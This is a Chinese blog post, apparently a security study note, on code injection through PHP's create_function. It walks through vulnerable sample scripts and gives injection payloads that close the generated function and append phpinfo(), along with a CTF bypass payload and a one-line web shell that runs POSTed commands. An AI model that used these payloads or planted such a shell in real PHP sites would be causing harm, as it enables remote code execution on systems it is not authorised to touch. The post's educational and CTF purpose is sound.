首页 > 其他分享 >create-function函数代码注入

create-function函数代码注入

时间:2022-10-23 23:24:22浏览次数:45  
标签:function 函数 create phpinfo echo 代码

creat_function()代码注入

creat_function函数根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
create_function(string $args,string $code)
string $args 声明的函数变量部分

string $code 执行的方法代码部分
本地环境测试:(creat_function)
环境:phpstudy+ Apache2.4.39+mysql5.7.26
测试代码:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

分析:
create_function创建了一个lambda_1的函数,这是create_function创建函数返回的名称,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
因此可以等价于:
<?php
function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

image-20221015131331969

示例:

<?php
$id = $_GET['id'];
$str = 'echo '.$id.';';
$ft = creat_function('$id',$str);
$ft($id);
?>

$ft = creat_function('$id',$str);
创建了一个匿名函数,那么我们可以通过}闭合第一个{在}后面插入我们想要执行的代码就能够造成一个人代码注入
其大概类似于
function ft($id){
	echo $id;
}
进行代码注入
function ft($id){
	echo 1;}phpinfo();/*
}
那么php就会去执行我们输入phpinfo();代码。
其他的闭合方式,原理都是一样的:
<?php
	$a = $_GET['a'];
    $b = $_GET['b'];
    $str = "return (strlen($a)-strlen($b)=" . "strlen($c));";
	$ft = create_function('$c',$str);
	echo $ft($c);
?>
payload:http://127.0.0.1/a0test.php?a=1));}phpinfo();/*
等价于:
<?php
function ft($c){
	return(strlen(1));}phpinfo();)-strlen($b)=strlen($c));
}

例:

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

paylaod:http://localhost/test/1.php?sort_by='"]);}phpinfo();/*

代码注入等价于;

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

其代码执行结果类似于:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

也可以利用create_function函数建立shell后面

<?php $func =create_function('',$_POST['cmd']);$func();?>
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}
这个题目没有create_function函数,但是我们可以把参数a的值赋值为create_function函数在参数b进行代码注入
payload:
\create_function&b=}phpinfo();//

image-20221015134241157

标签:function,函数,create,phpinfo,echo,代码
From: https://www.cnblogs.com/GTL-JU/p/16820006.html

相关文章

  • 如何使用git通过ssh协议拉取gitee上的项目代码——如何正确的免密使用git
    如何在gitee网站上生成/添加SSH公钥见教程:生成/添加SSH公钥    测试公私秘钥是否成功:[email protected]     ===============================......
  • 关于两行代码让我时间无限拉长这件事------mainServlet
    在再一次尝试实现增删改查的功能时,出现了一些BUG,修改功能一直实现不了,查了好久的资料,这才发现问题如上图所示,这个Servlet里面定义的方法,虽然很短,但是重要的很奥,改了好久......
  • 初学编程三大件之代码管理-->git的使用
    如果想成为一名合格的测试开发/自动化工程师,git知识是必不可少的。为什么这么说呢,因为如果想对代码进行版本管理,git工具是首选。下面说下什么是git :1.Git是一个开源的分......
  • 单链表插入和删除一个节点的伪代码算法
    插入设ai-1节点为pai+1节点为q插入节点为t则p-->t-->next=q-->next删除设ai-1节点为pai+1节点为q删除的字节为tp-->next=t-->nextfree(t)参考链接https://bl......
  • 代码随想录Day8
    剑指offer05.替换空格请实现一个函数,把字符串s中的每个空格替换成"%20"。示例1:输入:s="Wearehappy."输出:"We%20are%20happy."思路:1.首先需要考虑扩容后数组的......
  • bees cms 代码审计(2)
    通过关键字进行审计 这里通过关键字“删除”进行搜索 对于action进行判断,如果为del_pic则执行下一步$file=CMS_PATH.'upload/'.$value;定义了路径die("图片成......
  • P7911 CSP J 2021 T3 纯模拟 无map 代码
    目录申明前置知识sscanf与sprintf应用字符串常用函数代码后记申明解释在注释里注释掉的不用管写错的代码可借鉴原题:洛谷P7911前置知识sscanf与sprintf/*sscanf......
  • 关于代码注释
    行注释行注释有以下两种方式!方式一:注释:Ctrl+K,Ctrl+C取消:Ctrl+K,Ctrl+U方式二:注释和取消都是这组快捷键:Ctrl+K,Ctrl+/块注释注释和取消都是这个快捷......
  • 只需百十行代码,为你的Web页面增加本地文件操作能力,确定不试试吗?
    笔者开源了一个Web思维导图mind-map,数据默认是存储在localstorage里,如果想保存到本地文件,需要使用导出功能,下次打开再使用导入功能,编辑完如果又想保存到文件,那么又需要从重......
  • tvm-多线程代码生成和运行
    本文链接https://www.cnblogs.com/wanger-sjtu/p/16818492.html调用链tvm搜索算子在需要多线程运行的算子,是在codegen阶段时插入TVMBackendParallelLaunch的调用。TVMB......